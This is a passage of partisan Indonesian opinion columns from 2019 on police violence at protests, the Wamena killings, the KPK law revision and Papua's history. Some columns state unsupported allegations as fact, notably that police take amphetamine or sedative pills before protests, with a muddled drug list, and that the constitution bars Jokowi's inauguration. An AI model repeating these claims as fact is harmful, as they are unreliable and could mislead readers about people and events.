menghadapi orang-orang yang beroposisi. Polisi suka menggunakan pasal-pasal ITE untuk hal-hal sederhana. Sedikit-sedikit hoax. Sedikit-sedikit ujaran kebencian, dan lain sebagainya. Belakangan, definisi versi Wikipedia ini tampak dari cara polisi menangani aksi-aksi protes damai apalagi yang tak damai. Kita masih ingat cara polisi menangani aksi 21-22 Mei 2019. Mereka menggunakan cara-cara yang brutal, dengan alasan diserang oleh demonstran. Hebatnya, pernyataan seperti ini diterima begitu saja oleh media massa mainstream. Begitu juga dalam menghadapi rangkaian unjuk rasa revisi undang-undang KPK, RKUHP dan beberapa RUU lainnya dalam sepekan ini. Sekian banyak rekaman video menunjukkan kekajaman dan kebrutalan polisi terhadap para pendemo, yang terdiri dari mahasiswa dan pelajar. Polisi menjadi sangat arogan. Termasuk ketika mereka mengejar para pendemo di Makassar, sampai ke dalam masjid. Sejumlah personel kepolisian masuk ke dalam masjid tanpa melepas sepatu mereka. Meskipun mereka meminta maaf, kasus ini menunjukkan kepongahan polisi. Ini semua memperlihatkan bahwa Indonesia di masa sekarang ini sedang dalam proses menuju “negara polisi” (police state). Para penguasa cenderung sewenang-wenang. Kesewenangan itu dijalankan, antara lain, melalui kekuasaan kepolisian. Persis seperti yang didefinisikan oleh Wikipedia tadi. Kalau praktik-praktik kekuasaan seperti hari ini berlanjut, bisa jadi Indonesia akan terperangkap menjadi “police state”. Bahaya ini bisa dicegah oleh DPR kalau mereka benar-benar membawa suara rakyat. Sayangnya, DPR juga membiarkan proses menuju “negara polisi” itu. Media massa juga seharusnya bisa ikut mencegah, kalau mereka berfungsi dengan baik dan senantiasa independen. Sayangnya, 90 persen media massa membuang akal sehat mereka mengenai masalah ini. Penulis adalah Wartawan Senior

Mengapa Polisi Beringas?

Sekarang, sebutan angkatan bersenjata itu lebih layak dilekatkan kepada polisi. Karena mereka bisa keluar membawa senjata dengan bebas. Anggota TNI, yang justru asli angkatan bersenjata, armed forces, malah tidak boleh membawa-bawa senjata. Oleh Kavil Yamin Jakarta, FNN - Sebagai wartwan senior (pernah jadi wartawan Indonesian Observer, Kantor Berita Francis AFP, dan terakhir Kantor Berita Fhilipina PNA) saya punya beberapa kawan polisi. Semuanya enak untuk berkawan. Bahkan beberapa di antara mereka adalah sahabat dekat. Karena itu, saya jadi heran melihat kebringasan polisi dalam menangani aksi massa mahasiswa dan pelajar belakangan ini. Jangankan kepada pengunjuk rasa yang ‘panas’, kepada pengunjuk rasa yang tertib dan santun pun, seperti aksi 22 Mei lalu, mereka tetap beringas. Saya ingat sewaktu menjadi mahasiwa demonstran di Bandung dulu. Setiap rapat-rapat, kumpulan dan pembicaraan kami, kami tau sekali-kali ada intel polisi nyamar jadi mahasiwa. Pura-pura lewat lah. Pura-pura duduk dekat kami lah. Sebagai tindak balasan, kami pun sekali-kali mengirim intel kami ke pihak polisi. Semancam kontra-intelijen. Caranya tak usah diceritakan di sini. Dari intel kami itulah, kami tau bahwa cara penanganan aksi itu tidak sama. Pengerahan polisi untuk menangani suatu unjuk rasa biasanya didahului oleh laporan intel tentang rencana dan besaran aksi. Bila rencana dan besaran aksi itu masih terhitung di bawah kendali polisi, maka yang keluar adalah perintah penanganan standar. Hanya menjaga dan mencegah tindak pengrusakan atau keributan. Persenjataan pun cukup tameng dan pentungan. Bila ada laporan bahwa jumlah massa besar dan berpotensi kerusuhan, maka peralatan pun lebih lengkap, antara lain penyemprot gas air mata. Dan yang tak kurang penting, semacam asupan obat penambah semangat dan keberanian. Penangkapan dan penanganan keras biasanya dilakukan secepat mungkin sebelum massa bertambah besar. Karena semakin besar massa, semakin sulit ditangani dan risiko kerusuhan semakin tinggi. Intel kami waktu itu mengetahui yang diminum sebelum bergerak ke lapangan itu adalah pil BK, atau amphetamin. Tahun 80-an, pil ini suka diminum bareng vodka atau minuman beralkohol lain oleh anak-anak Bengal. Bawaannya jadi berani dan beringas. Jadi kalo berantem ga bakalan lari. Nah, bayangkan kalo obat ini diminum polisi yang mau menangani unjuk rasa. Dibekali senjata api berlaras panjang pula. Mereka tak akan ragu menembak, memukul, tak peduli sasaran lemah atau tak berdaya. Korban sudah tergeletak sekalipun, masih ramai-ramai dihajar juga. Korbannya bisa sampai geger otak, bahkan meninggal dunia. Rasa tega dan kasihan sudah menguap ke langit. Untunglah pada zaman kami, polisi dipersenjatai terbatas. Paling tinggi pistol. Itupun penggunaannya tak sembarangan. Harus ada laporan berapa peluru yang keluar, berapa yang kena sasaran. Kalau masih ada sisanya, harus dikembalikan. Sehingga, kalau pun ada korban, jarang sekali korban nyawa. Paling benjol-benjol kena pentungan. Kalau sampai ada korban nyawa, sudah dipastikan bakal menjadi masalah besar bagi seisi negeri ini. Sekarang, 5-6 nyawa yang melayang, korban berdarah-darah. Polisi masih aman-aman saja. Paling balik menuduh demonstran. “Mereka itu perusuh” atau “mereka itu ditunggangi”. Cara inilah yang biasa digunakan sebagai bentuk pembelaan diri. Lainnya adalah untuk cuci tangan. Sekarang, sebutan angkatan bersenjata itu lebih layak dilekatkan kepada polisi. Karena mereka bisa keluar membawa senjata dengan bebas. Anggota TNI, yang justru asli angkatan bersenjata, armed forces, malah tidak boleh membawa-bawa senjata. Tragisnya, senjata yang diberikan kepada polisi lebih lengkap dan mutakhir daripada yang diberikan kepada TNI. Orang tau, senjata yang dibawa itu ada auranya. Bila anda bermental lemah tapi menenteng senapan canggih, keberanian anda meningkat drastis. Orang yang menenteng senjata, bawaannya ingin nantang orang aja. Tapi itu bila mentalnya masih lemah. Yang bermental kuat dan dewasa, malah menghindar untuk membawa senjata. Kalau pun harus membawa senjata, itu karena kewajiban semata. Itupun dia berusaha menyamarkannya, supaya tidak menimbulkan ketaknyamanan dan ketakutan bagi orang lain. Pil BK ya. Awas jangan ketuker sama pil KB. Pil BK ini terdiri dari beberapa jenis. Antara lain barbiturate, bromazepam (lexotan), diazepam (valium), flunitrazepam (rohypnol), nitrazepam (mogadon) dan nitradiazepam (nipam). Mengkonsumsi pil BK dengan dosis tinggi mengakibatkan penurunan kesadaran, dan mudah marah. Selian itu, mendorong pemakainya untuk berani melakukan hal-hal yang tidak mungkin dilakukannya ketika sadar penuh. Setelah sadar penuh, sipemakai umumnya tidak ingat hal-hal yang dikatakan atau dilakukannya selama terkena pengaruh obat tersebut. Obat ini banyak disalahgunakan karena harganya relatif terjangkau. Jenis lain adalah nuvigil. Pil BK jenis ini bisa membuat sipemakai tetap terjaga dan awas selama tiga hari. Bahkan bisa sampai sepekan. Karena khasiatnya inilah, nuvigil kadang-kadang digunakan oleh militer AS agar tetap awas terhadap musuh. Bila obat untuk militer itu digunakan untuk polisi, maka tingkat keawasan yang ditimbulkannya seperti kewaspadaan terhadap musuh dalam perang. Setiap saat bisa membantai, menembak. Meski yang dihadapinya adalah mahasiwa , ustadz, tenaga medis, atau anak-anak SMK, eeeh, STM. (Bersambung) Penulis adalah Wartawan Senior

Pembantaian Orang Padang dan Bugis, Serta Runtuhnya Negara di Papua

Kejadian kerusuhan di Wamena ini bisa dibilang aparat keamanan sebagai elemen terpenting negara gagal mengantisipasi kejadian ini. Dari kejadian ini, muncul pertanyaan kita, apakah masih ada perlindungan dari negara kepada warga negara? Bagaimana negara memberikan kepastian atas nasib orang-orang non Papua di tanah Papua? Oleh Dr. Syahganda Nainggolan Jakarta, FNN - Innalillahi Wa Innailaihi Rojiun. Kita telah berduka besar atas wafatnya 32 orang pendatang di Papua. Jumlah tersebut, terdiri dari 10 orang Padang dan 22 orang Bugis. Sangat tragis, memilukan dan menyesakan dada, karena beberapa diantaranya dibakar. Pada tanggal 23 September lalu, ada korban setelah dipanah. Setelah itu korbannya dibacok, dan dibakar di sebuah pasar di Wamena. Sebuah priklaku dan perbuatan yang sangat biadab, bahkan tidak berprikemanusiaan. Wamena adalah sebuah kota kecil di wilayah Republik Indonesia. Sampai hari ini Indonesia sebagai Negara, masih dengan Jokowi sebagai presidennya. Kita semua tertutupi oleh kejadian keji ini, karena sibuk dengan gerakan mahasiswa di DPR, di pusat ibukota Jakarta. Persoalan rusuh di Wamena bukanlah suasana perang, dimana Tentara dan Brimob melawan pasukan Benny Wenda, ketua Papua Merdeka. Bukan juga perang melawan kelompok bersenjata Organisasi Papua Merdeka (OPM). Namun, perbuatan keji ini adalah pembantaian makhluk hidup yang tidak berdosa. Pembantain terhadap rakyat Indonesia di tanah airnya sendiri. Akar Persoalan Ketegangan di Papua selama ini membesar karena menyangkut keinginan rakyat Papua untuk merdeka. Paska insiden di Asrama Mahasiswa Papua, di Malang, dan Surabaya. Ketika itu mahasiswa Papua diejek secara rasis dengan sebutan monyet. Akibatnya, rakyat Papua bangkit dan bergerak di seluruh tanah mereka, dengan meneriakkan kata merdeka. Kebencian rakyat Papua selama ini sebenarnya bersumber dari kesenjangan sosial antara masyarakat pendatang dan masyarakat pribumi asli. Kekerasan HAM yang ditenggarai terus berlangsung dari aparatur Negara. Bersamaan waktunya, muncul kesadaran baru di kalangan masyarakat Papua bahwa masuknya Papua ke dalam NKRI pada tahun 1969 melalui Papera (Penentuan pendapat rakyat) masih menysihkan sejumlah masalah. Kesenjangan sosial itu bersifat horizontal diantara masyarakat. Masalah HAM yang bersifat vertikal antara rakyat terhadap negara memunculkan kesadaran baru di akar rumput rakyat Papua. Kenyataan ini terkait dengan bangkitnya kesadaran regional masyarakat Melanesia di wilayah pasifik. Misalnya, Fiji, Vanuati dan Salomon Ketika masalah rasis ini mencuat bulan lalu di asrama mahasiwa Papua di Surabaya dan Malang, telah menjadi pemicu yang menggerakkan pembangkangan rakyat di Papua. Stabilitas kemanan dan politik di Papua mencapai titik terendah. Instabilitas Papua direspon Jokowi dengan mengundang beberapa tokoh-tokoh Papua ke Istana. Sayangnya, Gubernur Papua Lukas Enimbe dan beberapa elit Papua meradang terhadap pertemuan Jokowi dengan tokoh-tokoh Papua. Gubernur Lukas menyatakan orang-orang yang diundang Jokowi ke Istana tidak mempunyai kredibilitas mewakili persoalan Papua. Mereka hanya mewakili kepentingan pribadi dan kelompok mereke. Pendekatan Jokowi selain dialog yang tidak representatif, Jokowi juga mengirim Panglima TNI dan Kapolri ke Papua. Targetnya, Panglima TNI dan Kapolri dapat meredam gerakan-garakan perlawanan rakyat Papua, baik yang bersifat horizontal maupun vertikal. Namun, belum sebulan dari kunjungan kedua pimpinan aparatur keamanan ini ke Papua, tragedi kemanusiaan yang sangat memilukan terjadi di Wamena. Kerusuhan di Wamena yang berkarakter kebencian terhadap masyarakat pendatang ternyata tidak diantisipasi aparat keamanan. Kejadian kerusuhan di Wamena ini bisa dibilang aparat keamanan sebagai elemen terpenting negara gagal mengantisipasi kejadian ini. Dari kejadian ini, muncul pertanyaan kita, apakah masih ada perlindungan dari negara kepada warga negara? Bagaimana negara memberikan kepastian atas nasib orang-orang non Papua di tanah Papua? Gerakan Rakyat ke Rakyat Kematian balita berusia 4 tahun, dan anak kecil 8 tahun diantara orang-orang non Papua yang terbunuh, menunjukkan kebencian rakyat asli Papua terhadap pendatang sangat kental dan berdimensi luas. Kita pernah mengalami kondisi yang sama di masa lalu, ketika orang-orang Jawa diusir dari Aceh. Peristiwa ini terjadi ketika Gerakan Aceh Merdeka mulai bergolak di Aceh. Pembantaian dengan cara penuh kebencian terhadap pendatang Padang dan Bugis, menunjukkan bahwa bangsa Padang, Bugis dan non Papua lainnya, harus mempunyai orientasi baru dalam melindungi diri. Yakni tidak lagi bersandar hanya pada negara . Orang Padang, Bugis dan non Papua ini juga harus menulis surat ke PBB agar menghukum Benny Wenda, OPM dan juga pemerintahan Indonesia atas kegagalan melindungi orang-orang sipil tak berdosa. Hal ini untuk mencegah adanya gerakan yang berkatagori Genocide, alias pembasmian etnis. Kebencian rakyat asli Papua atas pernyataan rasis yang mereka terima dari segelintir orang di Malang dan Surabaya, tidak boleh serta merta mengantarkan mereka membenci orang-orang non Papua di sana. Sebab, orang-orang Indonesia yang pergi ke Papua bukanlah kelompok bersenjata maupun kelompok pembenci rakyat Papua. Mereka adalah orang-orang yang merasa bahwa mencari rejeki adalah usaha yang tidak mengenal batas wilayah. Catatan Akhir Kita sangat terpukul dengan pembantaian etnis non asli Papua, yang terjadi di Wamena. Jokowi tidak boleh mentolerir pembantaian ini. Masalah vertikal dapat didekati dengan berbagai dialog, namun pembantaian etnis haruslah dilakukan dengan kekuatan negara, "at all force dan at all cost." Langkah inilah yang harus segera dilakukan negara. Disamping itu, gerakan antar rakyat Papua dan Non Papua untuk mengeliminir kebencian harus juga dilakukan secara langsung. Inisiatif rakyat ke rakyat langsung antar etnis tanpa menunggu negara hadir. Penulis adalah Direktur Eksekutif Sabang Merauke Institute

Dilema UU KPK, Jokowi Tinggal Sendirian atau "Lengser"?

Etika politik dan pemerintahan itu mengandung misi kepada setiap pejabat. Tujuannya, agar elit politik untuk bersikap jujur, amanah, sportif, siap melayani, berjiwa besar, memiliki keteladanan, rendah hati. Selain itu, siap untuk mundur dari jabatan publik apabila terbukti melakukan kesalahan dan secara moral. Kebijakannya bertentangan dengan hukum dan rasa keadilan masyarakat Oleh Mochamad Toha Jakarta, FNN - Ketika berlangsung demonstasi mahasiswa di Jakarta, diantara corat-coret yang ada di jalan, terlihat sebuah coretan menarik: “Jokowi Kemana??” Pertanyaan nakal pun muncul. Apakah Jokowi sudah meninggalkan Jakarta? Ach, tak mungkin! Jokowi yang dimaksud adalah Presiden Joko Widodo. Jika melihat aksi demo yang menolak beberapa Rancangan Undang-Undang (RUU) yang ditolak rakyat tersebut, apakah Jokowi bakal mundur sebagai Presiden periode 2014-2019, yang berakhir pada 19 Oktober 2019? Ataukah malah tetap memaksa bertahan hingga bersama Ma’ruf Amin, Jokowi akan dilantik sebagai Presiden dan Wakil Presiden periode 2019-2024? Saya pernah menulis, “Berdasar UUD 1945, Jokowi Tidak Boleh Dilantik!” di Pepnews.com. Dasar hukumnya adalah pasal 6A UUD 1945. Sesuai pasal 6A UUD 1945, mengharuskan agar pemenang pilpres harus menang di 50% wilayah provinsi. Selian itu, tidak boleh ada suara di wilayah provinsi yang kurang dari ataiu di bawah 20 persen. Paslon 02 Prabowo Subianto – Sandiaga Uno tidak menang secara nasional (menurut versi KPU dan MK), tapi keduanya menang di 26 provinsi. Tidak ada perolehan suara di bawah 20 persen. Dengan demikian maka Prabowo menang dua point versi UUD 1945. Sedangkan Jokowi hanya satu poin. Solusinya:,MPR harus bersidang untuk melantik Prabowo – Sandi. Bukan melantik Jokowi – Ma’ruf. Jika MPR ngotot melantik Jokowi, itu jelas melanggar UUD 1945. Rangkaian pertemuan Prabowo dengan Presiden Jokowi, dilanjutkan pertemuan Prabowo dengan Ketum DPP PDIP Megawati Soekarnoputri dan Prabowo. Setelah itu, dengan mantan Kepala BIN AM Hendropriyono, perlu dicermati. Pasti ada tujuannya. Kabarnya, setelah bertemu dengan Hendro, Prabowo juga akan bertemu dengan Ketum DPP Partai Demokrat Susilo Bambang Yudhoyono alias SBY. Adakah pembicaraan yang sangat penting dalam pertemuan-pertemuan tersebut? Sudah pasti ada! Baik Jokowi, Megawati, maupun Hendro dan SBY, sebenarnya sudah tahu. Meski paslon 01 Joko Widodo – Ma’ruf Amin dinyatakan sebagai pemenang Pilpres, 17 April 2019. Namun ternyata berdasarkan UUD 1945 mereka tidak bisa dilantik. Kalau Jokowi – Ma’ruf tetap dilantik, maka MPR justru melanggar konstitusi (pasal 6A UUD 1945 itu). Karena itu, kedudukan UUD 1945 ditempatkan di posisi tertinggi sumber hukum. Sebagai sumber dari segala sumber hukum yang berlaku di Indonesia. Artinya, kalau ada aturan perundang-udangan yang bertentangan dengan UUD 1945, maka bisa dinyatakan batal demi hukum. Secara hukum, MPR wajib patuh pada perintah UUD 1945, karena kedudukannya sebagai sumber dari segala sumber hukum di Indonesia. Semua undang-undang, Peraturan, Keppres, dan Kepmen wajib patuhi UUD 1945. Yang bertentangan dengan isi UUD 1945, harus dibatalkan atau gagal demi hukum. Inilah yang dibahas ketika pertemuan Prabowo dengan Megawati, Hendro, dan SBY nantinya. Tak hanya itu. Melansir Tribunnews.com, Kamis (15 Februari 2018 09:54), anggota BPIP Mahfud MD yang juga pakar Hukum Tata Negara dari Universitas Islam Indonesia (UII) Jogjakarta dalam sebuah talkshow di televisi swasta menyatakan “kalau sudah mendapat cemoohan masyarakat, menurut TAP MPR No.6 Tahun 2001, seorang pemimpin kalau sudah tidak dipercaya masyarakat, kebijakannya dicurigai menimbulkan kontroversi, enggak usah menurut hukum, saya belum salah gitu. Mundur!” Begitu pula halnya yang tercantum dalam Tap MPR Nomor 6 Tahun 2001 tentang Etika Kehidupan Berbangsa. Persoalan etika, moral dan norma harus ditempatkan di atas kaidah-kaidah hokum yang berlaku. Bakan yang terjadi sebaliknya. Etika politik dan pemerintahan itu mengandung misi kepada setiap pejabat. Tujuannya, agar elit politik untuk bersikap jujur, amanah, sportif, siap melayani, berjiwa besar, memiliki keteladanan, rendah hati. Selain itu, siap untuk mundur dari jabatan publik apabila terbukti melakukan kesalahan dan secara moral. Kebijakannya bertentangan dengan hukum dan rasa keadilan masyarakat. Etika ini diwujudkan dalam bentuk sikap yang bertata karma. Dalam perilaku politik yang toleran. Tidak berpura-pura, tidak arogan, serta jauh dari sikap munafik. Tidak melakukan kebohongan publik, tidak manipulatif dan berbagai tindakan yang tidak terpuji lainnya. Jokowi Sendirian Tidak salah, kalau dalam demo mahasiswa terkait Revisi undang-undang KPK dan sebagainya itu, kemudian terselip tuntutan agar Jokowi mengundurkan diri. Dan, untuk tuntutan terkait undang-undang KPK, sepertinya Jokowi akan terbitkan Perpu KPK. Isinya membatalkan revisi undang-undang KPK atau menuundanya. Legislasi reviews dan judicial reviews kemungkinan besar tidak jadi direkomendasi. Artinya, yang akan dilakukan untuk meredam demo mahasiswa adalah tetap diterbitkan Perpu KPK. Salah satu alasan politiknya, presiden tidak tahu jika revisi undang-undang KPK tidak ada dalam Program Legislasi Nasional (Prolegnas). Karena Prolegnas merupakan syarat hukum untuk proses penerbitan undang-undang dan revisi undang-undang. Sampai disini, yang kalah adalah DPR. Konsekuensi dan resiko jika penerbitan Perppua adalah Jokowi akan ditinggalkan oleh partai-partai pengusungnya. PDIP, Golkar, PPP, PKB, dan NasDem sebagai parpol yang memotori revisi undang-undang KPK akan membelakangi Jokowi. Sampai disini Jokowi berpotensi akan sendirian dalam memimpin pemerintahnya lima tahun ke depan. Apalagi, seperti disampaikan Megawati sebelumnya bahwa “PDIP lebih nyaman dengan koalisi barunya”. Partai Gerindra adalah koalisi barunya PDIP. Makanya, pertemuan Prabowo dengan Megawati tersebut merupakan sinyal bahwa Jokowi akan ditinggalkan oleh PDIP. Mantan Ketua KPK yang juga Ketua PP Muhammadiyah Busyro Muqoddas mengatakan, persetujuan Istana terhadap DPR untuk revisi undang-undang KPK sebagai bukti tindakan radikal. Sikap ini juga sebagai bentuk penghianatan Presiden bersama DPR terhadap daulat rakyat. Wajar jika kemudian ada tuntutan Jokowi harus turun. Karena dianggap telah melakukan pengkhianatan bersama DPR. Dalam tiga pekan terakhir ini isu politik memang berpusat di DPR dan Jokowi. Misalnya, isu revisi undang-undang KPK, RUU KUHP, RUU Pesantren, RUU P-KS, RUU Pertanahan dan beberapa RUU sensitif lainnya, yang menuai banyak perdebatan. Demonstrasi mahasiswa juga tak hanya di Jakarta, tetapi merambah di beberapa kota besar Indonesia. Korban berjatuhan. Dua mahasiswa Universitas Halu Oleo (UHO), Kendari Immawan Randi dan M. Yusuf Kardawi menjadi korban tewas. Mereka berdua ikut demo dan unjuk rasa mahasiswa yang digelar di depan DPRD Sulawesi Tenggara, Kamis (26/9/2019). Sebelumnya, dalam aksi mahasiswa di DPR RI, seorang korban mahasiswa Universitas Al Azhar bernama Faisal Amir, kini masih dirawat di RS Pelni Petamburan, Jakarta. Faisal disebut-sebut sebagai keponakan dari Menham Ryamizard Ryacudu. Kembali ke soal undang-undang KPK di atas. “Mengapa undang-undang KPK hasil revisi dibatalkan?” tanya Ketum DPP IPKI (Ikatan Pendukung Kemerdekaan Indonesia) Bambang Sulistomo kepada Pepnews.com. Menurut putra Pahlawan Bung Tomo itu, adanya badan pengawas sebenarnya menisbikan sendiri hasil seleksi yang ketat dari kehormatan dan integritas sebuah panitia seleksi, lembaga perwakilan rakyat, dan lembaga kepresidenan. “Artinya, pimpinan KPK hasil seleksi itu dianggap tidak dipercaya oleh lembaga-lembaga yang memilihnya sendiri. Sudah pasti badan pengawas akan mencampuri pokok-pokok perkara yang akan digarap KPK,” tegasnya. Mas Bambang menilai, ini sangat berbahaya. Sebab tidak ada contoh di manapun, sebuah badan pengawas bisa mencegah penegak hukum untuk mengumpulkan bukti-bukti tindakan korupsi. Apalagi, kelahiran undang-undang KPK hasil revisi tersebut dianggap para pakar hukum sudah cacat konstitusi. “Mumpung undang-undang KPK hasil revisi itu sampai hari ini belum ada informasi telah ditandatangani oleh lembaga kepresidenan, sebagaiknya batalkan saja demi keutuhan NKRI!” Sebuah pilihan yang sulit bagi Jokowi. Diteruskan akan berhadapan dengan mahasiswa! Tak diteruskan dengan Perpu KPK, bakal ditinggal Parpol Koalisi. Apalagi, BEM se-Indonesia menolak undangan pertemuan dengan Presiden Jokowi. Penolakan ini sebagai pertanda Jokowi sudah tidak dihargai lagi sebagai Presiden. Tentu, lebih bijak jika Jokowi mundur. Karena kepemimpinannya sudah “dicemooh oleh rakyat sendiri”. Penulis adalah Wartawan Senior

Papua Yang Terluka Dalam Nestapa

Disamping itu, konsensus politik 1969 yang disebut Pepera dilaksanakan di bawah tekanan Indonesia. Pelaksanaan Pepera dengan sistem demokrasi yang dianut berdasarkan Pancasila, yakni Musyawarah Mufakat. Sistem ini tentu saja berbeda dengan standar internasional yang menganut one man one vote sesuai New York Agreement. Oleh Natalius Pigai Jakarta, FNN - Jika kita berbicara mengenai Papua, kita selalu asosiasikan dengan kekerasan, kebodohan, ketelanjangan, kemiskinan. Seakan-akan Papua identik dengan dunia kelam, dan penuh masalah. Papua juga mengandung sekelumit masalah yang mengancam integritas nasional. Saban hari media massa nasional, sukar sekali memuat berita-berita mengenai keberhasilan, kesuksesan, dan harapan kehidupan masa depan masyarakat Papua. Sebuah harapan dan keinginan yang mampu membawa mereka ke dalam tatanan kehidupan yang lebih baik. Kehidupan yang sejahtera, aman dan tenteram. Apakah pandangan kita terhadap Papua dengan konotasi yang minus ,dan negativ adalah ungkapan atas realitas masyarakat Papua saat ini? Maka pertanyaan, siapakah yang harus paling bertanggungjawab atas keterbelakangan, kebodohan, kemiskinan tersebut? Ada kecendrungan upaya integrasi yang dibangun dengan sikap represi militer para pejuang trikora ternyata sebatas integrasi Sumber Daya Alam (The Natural Resources Integrated). Sementara manusianya diabaikan merana di atas kelimpahan kekayaannya sendiri. Kenyataan ini sangat bertolak belakang dengan keinginan Soekarno, yang ingin memerdekakan manusia Papua agar mereka menjadi tuan di atas tanah mereka sendiri. Pemikiran di atas inilah yang mendorong saya untuk menyampaikan bagaimana kita memandang persoalan Papua secara komprehensip. Mesikipun kita telah memberikan Otonomi Khusus Papua. Namun tragedi demi tragedi kian menambah duka lara, jeritan-rintian, ratapan, kesedian, dan akibat penculikan dan pemunuhan oleh klik-klik misterius. Pasukan berlaras lalu-lalang saban hari, dari petang dan pagi. Adalah sia-sia meskipun upaya simpatik melalui Otonomi Khusus yang diberikan bertepatan dengan Hari Natal bukanlah sebagai sebuah “Kado Natal” yang merupakan ritualitas tertinggi agama. Sesungguhnya Papua Barat sebuah negeri yang terluka dalam nestapa akhibat penetrasi kapitalisme yang diikuti oleh penetrasi Kekuasaan Negara (Hegemini Militer dan Sipil). Apabila pemerintah mau menyelesaikan persoalan Papua secara mendalam dan menyeluruh, maka berhentikan semua sistem pendudukan melalui berbagai cara, termasuk pemekaran. Persoalan di Papua akan lebih baik bila menyelesaikan dua persoalan mendasar yakni. Pertama, peninjauan kembali terhadap realitas sejarah disertai berbagai persoalan HAM, termasuk “rasisme” yang merupakan bagian dari penyelesaian politik. Kedua, penyelesaian disparitas regional, terutama kapasitas sosial ekonomi dan kesejahteraan masyarakat. Trauma Yang Masih Berbekas Konflik politik di Papua ini tidak begitu saja jatuh dari langit. Ada akar historisnya, dan akar historis tersebut tidak jarang bermula dari sejarah kolonialisme. Karena itu persoalan Papua pun bermula dari sejarah kolonialisme. Yakni ketika hadirnya kolonialis Belanda dan imperialis Indonesia (dianggap). Integrasi politik atas wilayah Papua hingga kini masih belum mantap. Kenyataan ini disebabkan klaim Indonesia dan Belanda terhadap Papua. Klaim tersebut, baik melalui jalur diplomasi maupun juga konfrontasi. Dipenuhi dengan sikap kooporatif antar penguasa ketika itu. Sikap yang dilahirkan hanya demi membendung kepentingan dan pengaruh ideologi komunisme internasional. Kebetulan ideologi komonis yang tidak simpatik di lubuk hati orang Papua. Proses integrasi politik tidak pernah melibatkan rakyat Papua. Dari setiap perundingan, rakyat Papua hanya bertindak sebagai objek. Bukan sebagai subjek dalam pengambilan keputusan. Lebih ironis lagi adalah pelanggaran terhadap hak menentukan nasib sendiri bagi suatu bangsa (GA Resolution No. 1541 (XV)) tahun 1960. Dimana pada waktu yang bersamaan, di Papua Barat telah menyatakan deklarasi kemerdekaan dan sosialisasi simbol-simbol kebangsaan. Disamping itu, konsensus politik 1969 yang disebut Pepera dilaksanakan di bawah tekanan Indonesia. Pelaksanaan Pepera dengan sistem demokrasi yang dianut berdasarkan Pancasila, yakni Musyawarah Mufakat. Sistem ini tentu saja berbeda dengan standar internasional yang menganut one man one vote sesuai New York Agreement. Alasan Indonesia bahwa penyelenggaraan musyawarah mufakat adalah karena kondisi sosial, ekonomi, geografis dan peradabaan hidup yang masih primitive. Anggapan ini merupakan pengingkaran terhadap Resolusi Majelis Umum PBB 14 Desember 1960 (GA Resolution No. 1514 (XV) yang menegaskan bahwa penjajahan dengan segala bentuk manifestasinya harus diakhiri. Dengan demikian, alasan belum adanya kesiapan dari kondisi politik, ekonomi atau sosial bukanlah alasan ditundanya kemerdekaan bagi sebuah bangsa. Ekspresi kekecewaan atas pelaksanaan Pepera yang menggunakan sistem Muasyawarah Mufakat itu adalah munculnya ancaman serius dari kelompok yang bernama Organisasi Papua Merdeka (OPM). Sejak itu pemerintah Jakarta mulai memantapkan labilitas integrasi politik dengan menempatkan orang Papua di dalam kubangan hegemoni negara. Karena itulah sepanjang berintegrsi dengan Indonesia, rakyat berontak melalui berbagai aksi kerusuhan. Berbagai pengrusakan, pembunuhan, penyanderaan, yang semuanya ditujukan kepada objek yang sasarannya adalah kepada masyarakat pendatang (orang luar Papua). Pendatang dianggap merupakan bagian integral dari kesatuan komunitas politik bangsa Indonesia. Pembunuhan terhadap orang sawo matang, sebagaimana terjadi hari-hari ini di Wamena dan beberapa wilayah di Papua adalah ekspresi perlawanan terhadap Jakarta. Kenyataan ini merupakan uangkapan rasa kekecewaan serta kebencian dari trauma historisme dan sejarah. Trauma penderitaan bangsa Papua (the history of sadness) terhadap pemerintah negara-kebangsan Indonesia. Oleh karena itu, saya menawarkan agar diberikanlah opsi kepada rakyat Papua Barat untuk membuktikan sejauh mana keinginan nurani mereka. Merupakan suatu upaya menegakkan demokrasi yang tentu saja akan mendapat simpati dunia. Kita lihat Kanada, yang selalu memberi opsi kepada negara bagian Quebec yang berbahasa La Francophonie, keturunan Ferancis. Namun selalu saja gagal, dan akhirnya tidak mendapat simpati dunia. Disparitas Ekonomi dan Sosial Tidak dapat disangkal bahwa rakyat Papua kaya akan sumber daya alam. Namun sesungguhnya mereka adalah yang termiskin di abad ini. Kita mulai menentukan tolak ukur kemiskinannya dengan kain kebaya (busana Jawa kampong). Namun orang Papua sedang berada dalam ketelanjangan koteka (busana Papua Gunung) dan keterisolasian (The stone age period society in 21t century). Kondisi masyarakat jaman batu, di abad ke dua puluh satu dulu. Kalau kita tinjau kembali kebijakan pembangunan di Papua sejak awal integrasi, maka ternyata jauh dari paradigma pembangunan yang sebenarnya. Karena misi pembangunan yang sarat dengan nuansa politis. Hal ini terlihat pada kebijakan pemerintah Jakarta yang memfokuskan perhatian pada pembangunan sosial dan ekonomi yang dilaksanakan secara politis. Sejak tahun 1963-1969 di masa transisi, ada nuansa pembangunan. Misaslnya, pendirian sekolah-sekolah, dari Taman Kanak-Kanak hingga Perguruan Tinggi (Universitas Cendrawasih). Pembangunan sarana dan prasarana infrastuktur, pengembangan sumber daya manusia dengan menempatkan elit-elit terdidik Papua di pos-pos pemerintahan. Namun seluruh kebijakan sosial ekonomi dikendalikan oleh militer dengan adagium binomialnya, yakni Keamanan dan Pembangunan. Militer menjadi panglima dalam seluruh pengambilan keputusan akhir. Pembangunan dengan program task forces dan bantuan dana Fundwi serta ADB. Sayangnya, dana-dana tersebut dialokasikan ke dana pertahanan dan keamanan. Dampaknya adalah dana untuk pembangunan sosial dan ekonomi sesungguhnya diabaikan. Karena itu tidak mengherankan sampai bila pada saat ini rakyat Papua berada dibawah garis kemiskinan. Implikasinya adalah pemerintah mengabaikan pembangunan sosial ekonomi. Pertimbangannya, orang Papua tetap berada pada kondisi stagnan agar dikemudian hari terjadi perubahan jumlah populasi. Misalnya, tingkat harapan hidup diperpendek. Selian itu, tinggkat pertumbuhan diperlambat. Angka juga kematian bertambah. Epidemi penyakit merajalela, menuju uniformitas etnik, kultural, kesenian, ermasuk juga sistem sosial budayanya. Maka adagiun unitarianisme unity in diversity menjadi legenda dan imajinasi di abad ke 20 yang berlalu. Namun hal ini bisa diatasi dengan pelaksanaan kebijakan secara serius dan sungguh-sungguh. Perlu Good Will dan Political Will Akankah Indonesia tetap berkibar? Atau akankah Papua Barat tetap bertahan? Ini adalah sederatan pertanyaan yang sangat signifikan dengan dinamika politik bangsa ini. Ancaman serius sudah mulai berdatangan dari wilayah-wilayah yang memiliki 